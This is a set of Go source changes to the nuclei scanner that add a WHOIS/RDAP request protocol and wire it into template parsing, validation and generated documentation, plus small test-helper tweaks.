"github.com/projectdiscovery/nuclei/v2/pkg/operators"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/extractors"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/matchers"
"github.com/projectdiscovery/nuclei/v2/pkg/output"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/helpers/eventcreator"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/helpers/responsehighlighter"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/replacer"
templateTypes "github.com/projectdiscovery/nuclei/v2/pkg/templates/types"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
)
// Request is a request for the WHOIS protocol
type Request struct {
// Operators for the current request go here.
operators.Operators `yaml:",inline,omitempty"`
CompiledOperators *operators.Operators `yaml:"-"`
// description: |
// Query contains query for the request
Query string `yaml:"query,omitempty" jsonschema:"title=query for the WHOIS request,description=Query contains query for the request"`
// description: |
// Optional WHOIS server URL.
//
// If present, specifies the WHOIS server to execute the Request on.
// Otherwise, nil enables bootstrapping
Server string `yaml:"server,omitempty" jsonschema:"title=server url to execute the WHOIS request on,description=Server contains the server url to execute the WHOIS request on"`
// cache any variables that may be needed for operation.
client *rdap.Client
options *protocols.ExecuterOptions
parsedServerURL *url.URL
}
// Compile compiles the request generators preparing any requests possible.
func (request *Request) Compile(options *protocols.ExecuterOptions) error {
var err error
if request.Server != "" {
request.parsedServerURL, err = url.Parse(request.Server)
if err != nil {
return errors.Wrap(err, "failed to parse server URL")
}
}
request.options = options
request.client = &rdap.Client{}
if len(request.Matchers) > 0 || len(request.Extractors) > 0 {
compiled := &request.Operators
if err := compiled.Compile(); err != nil {
return errors.Wrap(err, "could not compile operators")
}
request.CompiledOperators = compiled
}
return nil
}
// Requests returns the total number of requests the rule will perform
func (request *Request) Requests() int {
return 1
}
// GetID returns the ID for the request if any.
func (request *Request) GetID() string {
return ""
}
// ExecuteWithResults executes the protocol requests and returns results instead of writing them.
func (request *Request) ExecuteWithResults(input string, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {
// generate variables
variables := generateVariables(input)
// and replace placeholders
query := replacer.Replace(request.Query, variables)
// build an rdap request
rdapReq := rdap.NewAutoRequest(query)
res, err := request.client.Do(rdapReq)
if err != nil {
return errors.Wrap(err, "could not make whois request")
}
gologger.Verbose().Msgf("Sent WHOIS request to %s", query)
if request.options.Options.Debug || request.options.Options.DebugRequests {
gologger.Debug().Msgf("[%s] Dumped WHOIS request for %s", request.options.TemplateID, query)
}
data := make(map[string]interface{})
var response interface{}
switch rdapReq.Type {
case rdap.DomainRequest:
// convert the rdap response to a whois style response (for domain request type only)
whoisResp := res.ToWhoisStyleResponse()
for k, v := range whoisResp.Data {
data[strings.ToLower(k)] = strings.Join(v, ",")
}
response = whoisResp
default:
response = res.Object
}
jsonData, _ := jsoniter.Marshal(response)
jsonDataString := string(jsonData)
data["type"] = request.Type().String()
data["host"] = query
data["response"] = jsonDataString
event := eventcreator.CreateEvent(request, data, request.options.Options.Debug || request.options.Options.DebugResponse)
if request.options.Options.Debug || request.options.Options.DebugResponse {
gologger.Debug().Msgf("[%s] Dumped WHOIS response for %s", request.options.TemplateID, query)
gologger.Print().Msgf("%s", responsehighlighter.Highlight(event.OperatorsResult, jsonDataString, request.options.Options.NoColor, false))
}
callback(event)
return nil
}
// Match performs matching operation for a matcher on model and returns:
// true and a list of matched snippets if the matcher type is supports it
// otherwise false and an empty string slice
func (request *Request) Match(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {
return protocols.MakeDefaultMatchFunc(data, matcher)
}
// Extract performs extracting operation for an extractor on model and returns true or false.
func (request *Request) Extract(data map[string]interface{}, matcher *extractors.Extractor) map[string]struct{} {
return protocols.MakeDefaultExtractFunc(data, matcher)
}
// MakeResultEvent creates a result event from internal wrapped event
func (request *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent {
return protocols.MakeDefaultResultEvent(request, wrapped)
}
// GetCompiledOperators returns a list of the compiled operators
func (request *Request) GetCompiledOperators() []*operators.Operators {
return []*operators.Operators{request.CompiledOperators}
}
func (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {
data := &output.ResultEvent{
TemplateID: types.ToString(request.options.TemplateID),
TemplatePath: types.ToString(request.options.TemplatePath),
Info: request.options.TemplateInfo,
Type: types.ToString(wrapped.InternalEvent["type"]),
Host: types.ToString(wrapped.InternalEvent["host"]),
Metadata: wrapped.OperatorsResult.PayloadValues,
ExtractedResults: wrapped.OperatorsResult.OutputExtracts,
Timestamp: time.Now(),
MatcherStatus: true,
Request: types.ToString(wrapped.InternalEvent["request"]),
Response: types.ToString(wrapped.InternalEvent["response"]),
}
return data
}
// Type returns the type of the protocol request
func (request *Request) Type() templateTypes.ProtocolType {
return templateTypes.WHOISProtocol
}
// generateVariables will create default variables after parsing a url
func generateVariables(input string) map[string]interface{} {
var domain string
parsed, err := url.Parse(input)
if err != nil {
return map[string]interface{}{"Input": input}
}
domain = parsed.Host
if domain == "" {
domain = input
}
if strings.Contains(domain, ":") {
domain = strings.Split(domain, ":")[0]
}
return map[string]interface{}{
"Input": input,
"Hostname": parsed.Host,
"Host": domain,
}
}

View File

@ -128,7 +128,8 @@ func (template *Template) Requests() int {
len(template.RequestsHeadless) +
len(template.Workflows) +
len(template.RequestsSSL) +
len(template.RequestsWebsocket)
len(template.RequestsWebsocket) +
len(template.RequestsWHOIS)
}
// compileProtocolRequests compiles all the protocol requests for the template
@ -166,6 +167,9 @@ func (template *Template) compileProtocolRequests(options protocols.ExecuterOpti
case len(template.RequestsWebsocket) > 0:
requests = template.convertRequestToProtocolsRequest(template.RequestsWebsocket)
case len(template.RequestsWHOIS) > 0:
requests = template.convertRequestToProtocolsRequest(template.RequestsWHOIS)
}
template.Executer = executer.NewExecuter(requests, &options)
return nil

View File

@ -2,6 +2,9 @@
package templates
import (
"encoding/json"
validate "github.com/go-playground/validator/v10"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/dns"
@ -11,8 +14,11 @@ import (
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/network"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/ssl"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/websocket"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/whois"
"github.com/projectdiscovery/nuclei/v2/pkg/templates/types"
"github.com/projectdiscovery/nuclei/v2/pkg/workflows"
"go.uber.org/multierr"
"gopkg.in/yaml.v2"
)
// Template is a YAML input file which defines all the requests and
@ -66,6 +72,9 @@ type Template struct {
// Websocket contains the Websocket request to make in the template.
RequestsWebsocket []*websocket.Request `yaml:"websocket,omitempty" json:"websocket,omitempty" jsonschema:"title=websocket requests to make,description=Websocket requests to make for the template"`
// description: |
// WHOIS contains the WHOIS request to make in the template.
RequestsWHOIS []*whois.Request `yaml:"whois,omitempty" json:"whois,omitempty" jsonschema:"title=whois requests to make,description=WHOIS requests to make for the template"`
// description: |
// Workflows is a yaml based workflow declaration code.
workflows.Workflow `yaml:",inline,omitempty" jsonschema:"title=workflows to run,description=Workflows to run for the template"`
@ -96,6 +105,7 @@ var TemplateProtocols = []string{
"workflow",
"ssl",
"websocket",
"whois",
}
// Type returns the type of the template
@ -117,7 +127,47 @@ func (template *Template) Type() types.ProtocolType {
return types.SSLProtocol
case len(template.RequestsWebsocket) > 0:
return types.WebsocketProtocol
case len(template.RequestsWHOIS) > 0:
return types.WHOISProtocol
default:
return types.InvalidProtocol
}
}
// MarshalYAML forces recursive struct validation during marshal operation
func (template *Template) MarshalYAML() ([]byte, error) {
out, marshalErr := yaml.Marshal(template)
errValidate := validate.New().Struct(template)
return out, multierr.Append(marshalErr, errValidate)
}
// MarshalYAML forces recursive struct validation after unmarshal operation
func (template *Template) UnmarshalYAML(unmarshal func(interface{}) error) error {
type Alias Template
alias := &Alias{}
err := unmarshal(alias)
if err != nil {
return err
}
*template = Template(*alias)
return validate.New().Struct(template)
}
// MarshalJSON forces recursive struct validation during marshal operation
func (template *Template) MarshalJSON() ([]byte, error) {
out, marshalErr := json.Marshal(template)
errValidate := validate.New().Struct(template)
return out, multierr.Append(marshalErr, errValidate)
}
// UnmarshalJSON forces recursive struct validation after unmarshal operation
func (template *Template) UnmarshalJSON(data []byte) error {
type Alias Template
alias := &Alias{}
err := json.Unmarshal(data, alias)
if err != nil {
return err
}
*template = Template(*alias)
return validate.New().Struct(template)
}

View File

@ -33,6 +33,7 @@ var (
SSLRequestDoc encoder.Doc
WEBSOCKETRequestDoc encoder.Doc
WEBSOCKETInputDoc encoder.Doc
WHOISRequestDoc encoder.Doc
WORKFLOWSWorkflowTemplateDoc encoder.Doc
WORKFLOWSMatcherDoc encoder.Doc
)
@ -41,7 +42,7 @@ func init() {
TemplateDoc.Type = "Template"
TemplateDoc.Comments[encoder.LineComment] = " Template is a YAML input file which defines all the requests and"
TemplateDoc.Description = "Template is a YAML input file which defines all the requests and\n other metadata for a template."
TemplateDoc.Fields = make([]encoder.Doc, 12)
TemplateDoc.Fields = make([]encoder.Doc, 13)
TemplateDoc.Fields[0].Name = "id"
TemplateDoc.Fields[0].Type = "string"
TemplateDoc.Fields[0].Note = ""
@ -99,21 +100,26 @@ func init() {
TemplateDoc.Fields[8].Note = ""
TemplateDoc.Fields[8].Description = "Websocket contains the Websocket request to make in the template."
TemplateDoc.Fields[8].Comments[encoder.LineComment] = "Websocket contains the Websocket request to make in the template."
TemplateDoc.Fields[9].Name = "workflows"
TemplateDoc.Fields[9].Type = "[]workflows.WorkflowTemplate"
TemplateDoc.Fields[9].Name = "whois"
TemplateDoc.Fields[9].Type = "[]whois.Request"
TemplateDoc.Fields[9].Note = ""
TemplateDoc.Fields[9].Description = "Workflows is a list of workflows to execute for a template."
TemplateDoc.Fields[9].Comments[encoder.LineComment] = "Workflows is a list of workflows to execute for a template."
TemplateDoc.Fields[10].Name = "self-contained"
TemplateDoc.Fields[10].Type = "bool"
TemplateDoc.Fields[9].Description = "WHOIS contains the WHOIS request to make in the template."
TemplateDoc.Fields[9].Comments[encoder.LineComment] = "WHOIS contains the WHOIS request to make in the template."
TemplateDoc.Fields[10].Name = "workflows"
TemplateDoc.Fields[10].Type = "[]workflows.WorkflowTemplate"
TemplateDoc.Fields[10].Note = ""
TemplateDoc.Fields[10].Description = "Self Contained marks Requests for the template as self-contained"
TemplateDoc.Fields[10].Comments[encoder.LineComment] = "Self Contained marks Requests for the template as self-contained"
TemplateDoc.Fields[11].Name = "stop-at-first-match"
TemplateDoc.Fields[10].Description = "Workflows is a list of workflows to execute for a template."
TemplateDoc.Fields[10].Comments[encoder.LineComment] = "Workflows is a list of workflows to execute for a template."
TemplateDoc.Fields[11].Name = "self-contained"
TemplateDoc.Fields[11].Type = "bool"
TemplateDoc.Fields[11].Note = ""
TemplateDoc.Fields[11].Description = "Stop execution once first match is found"
TemplateDoc.Fields[11].Comments[encoder.LineComment] = "Stop execution once first match is found"
TemplateDoc.Fields[11].Description = "Self Contained marks Requests for the template as self-contained"
TemplateDoc.Fields[11].Comments[encoder.LineComment] = "Self Contained marks Requests for the template as self-contained"
TemplateDoc.Fields[12].Name = "stop-at-first-match"
TemplateDoc.Fields[12].Type = "bool"
TemplateDoc.Fields[12].Note = ""
TemplateDoc.Fields[12].Description = "Stop execution once first match is found"
TemplateDoc.Fields[12].Comments[encoder.LineComment] = "Stop execution once first match is found"
MODELInfoDoc.Type = "model.Info"
MODELInfoDoc.Comments[encoder.LineComment] = " Info contains metadata information about a template"
@ -570,6 +576,10 @@ func init() {
TypeName: "websocket.Request",
FieldName: "matchers",
},
{
TypeName: "whois.Request",
FieldName: "matchers",
},
}
MATCHERSMatcherDoc.Fields = make([]encoder.Doc, 13)
MATCHERSMatcherDoc.Fields[0].Name = "type"
@ -731,6 +741,10 @@ func init() {
TypeName: "websocket.Request",
FieldName: "extractors",
},
{
TypeName: "whois.Request",
FieldName: "extractors",
},
}
EXTRACTORSExtractorDoc.Fields = make([]encoder.Doc, 11)
EXTRACTORSExtractorDoc.Fields[0].Name = "name"
@ -1139,8 +1153,8 @@ func init() {
FILERequestDoc.Fields[4].Name = "denylist"
FILERequestDoc.Fields[4].Type = "[]string"
FILERequestDoc.Fields[4].Note = ""
FILERequestDoc.Fields[4].Description = "ExtensionDenylist is the list of file extensions to deny during matching.\n\nBy default, it contains some non-interesting extensions that are hardcoded\nin nuclei."
FILERequestDoc.Fields[4].Comments[encoder.LineComment] = "ExtensionDenylist is the list of file extensions to deny during matching."
FILERequestDoc.Fields[4].Description = "DenyList is the list of file, directories or extensions to deny during matching.\n\nBy default, it contains some non-interesting extensions that are hardcoded\nin nuclei."
FILERequestDoc.Fields[4].Comments[encoder.LineComment] = "DenyList is the list of file, directories or extensions to deny during matching."
FILERequestDoc.Fields[4].AddExample("", []string{".avi", ".mov", ".mp3"})
FILERequestDoc.Fields[5].Name = "id"
@ -1645,6 +1659,46 @@ func init() {
WEBSOCKETInputDoc.Fields[1].AddExample("", "prefix")
WHOISRequestDoc.Type = "whois.Request"
WHOISRequestDoc.Comments[encoder.LineComment] = " Request is a request for the WHOIS protocol"
WHOISRequestDoc.Description = "Request is a request for the WHOIS protocol"
WHOISRequestDoc.AppearsIn = []encoder.Appearance{
{
TypeName: "Template",
FieldName: "whois",
},
}
WHOISRequestDoc.Fields = make([]encoder.Doc, 5)
WHOISRequestDoc.Fields[0].Name = "matchers"
WHOISRequestDoc.Fields[0].Type = "[]matchers.Matcher"
WHOISRequestDoc.Fields[0].Note = ""
WHOISRequestDoc.Fields[0].Description = "Matchers contains the detection mechanism for the request to identify\nwhether the request was successful by doing pattern matching\non request/responses.\n\nMultiple matchers can be combined with `matcher-condition` flag\nwhich accepts either `and` or `or` as argument."
WHOISRequestDoc.Fields[0].Comments[encoder.LineComment] = "Matchers contains the detection mechanism for the request to identify"
WHOISRequestDoc.Fields[1].Name = "extractors"
WHOISRequestDoc.Fields[1].Type = "[]extractors.Extractor"
WHOISRequestDoc.Fields[1].Note = ""
WHOISRequestDoc.Fields[1].Description = "Extractors contains the extraction mechanism for the request to identify\nand extract parts of the response."
WHOISRequestDoc.Fields[1].Comments[encoder.LineComment] = "Extractors contains the extraction mechanism for the request to identify"
WHOISRequestDoc.Fields[2].Name = "matchers-condition"
WHOISRequestDoc.Fields[2].Type = "string"
WHOISRequestDoc.Fields[2].Note = ""
WHOISRequestDoc.Fields[2].Description = "MatchersCondition is the condition between the matchers. Default is OR."
WHOISRequestDoc.Fields[2].Comments[encoder.LineComment] = "MatchersCondition is the condition between the matchers. Default is OR."
WHOISRequestDoc.Fields[2].Values = []string{
"and",
"or",
}
WHOISRequestDoc.Fields[3].Name = "query"
WHOISRequestDoc.Fields[3].Type = "string"
WHOISRequestDoc.Fields[3].Note = ""
WHOISRequestDoc.Fields[3].Description = "Query contains query for the request"
WHOISRequestDoc.Fields[3].Comments[encoder.LineComment] = "Query contains query for the request"
WHOISRequestDoc.Fields[4].Name = "server"
WHOISRequestDoc.Fields[4].Type = "string"
WHOISRequestDoc.Fields[4].Note = ""
WHOISRequestDoc.Fields[4].Description = "description: |\n Optional WHOIS server URL.\n\n If present, specifies the WHOIS server to execute the Request on.\n Otherwise, nil enables bootstrapping"
WHOISRequestDoc.Fields[4].Comments[encoder.LineComment] = " description: |"
WORKFLOWSWorkflowTemplateDoc.Type = "workflows.WorkflowTemplate"
WORKFLOWSWorkflowTemplateDoc.Comments[encoder.LineComment] = ""
WORKFLOWSWorkflowTemplateDoc.Description = ""
@ -1740,6 +1794,7 @@ func GetTemplateDoc() *encoder.FileDoc {
&SSLRequestDoc,
&WEBSOCKETRequestDoc,
&WEBSOCKETInputDoc,
&WHOISRequestDoc,
&WORKFLOWSWorkflowTemplateDoc,
&WORKFLOWSMatcherDoc,
},

View File

@ -34,6 +34,8 @@ const (
SSLProtocol
// name:websocket
WebsocketProtocol
// name:whois
WHOISProtocol
limit
InvalidProtocol
)
@ -49,6 +51,7 @@ var protocolMappings = map[ProtocolType]string{
WorkflowProtocol: "workflow",
SSLProtocol: "ssl",
WebsocketProtocol: "websocket",
WHOISProtocol: "whois",
}
func GetSupportedProtocolTypes() ProtocolTypes {

View File

@ -43,6 +43,7 @@ func RunNucleiAndGetResults(isTemplate bool, template, url string, debug bool, e
func RunNucleiBareArgsAndGetResults(debug bool, extra ...string) ([]string, error) {
cmd := exec.Command("./nuclei")
cmd.Args = append(cmd.Args, extra...)
if debug {
cmd.Args = append(cmd.Args, "-debug")
cmd.Stderr = os.Stderr
@ -50,7 +51,6 @@ func RunNucleiBareArgsAndGetResults(debug bool, extra ...string) ([]string, erro
} else {
cmd.Args = append(cmd.Args, "-silent")
}
cmd.Args = append(cmd.Args, extra...)
data, err := cmd.Output()
if err != nil {
return nil, err
@ -71,6 +71,7 @@ var templateLoaded = regexp.MustCompile(`(?:Templates|Workflows) loaded[^:]*: (\
func RunNucleiBinaryAndGetLoadedTemplates(nucleiBinary string, debug bool, args []string) (string, error) {
cmd := exec.Command(nucleiBinary, args...)
if debug {
cmd.Args = append(cmd.Args, "-debug")
fmt.Println(cmd.String())
}
data, err := cmd.CombinedOutput()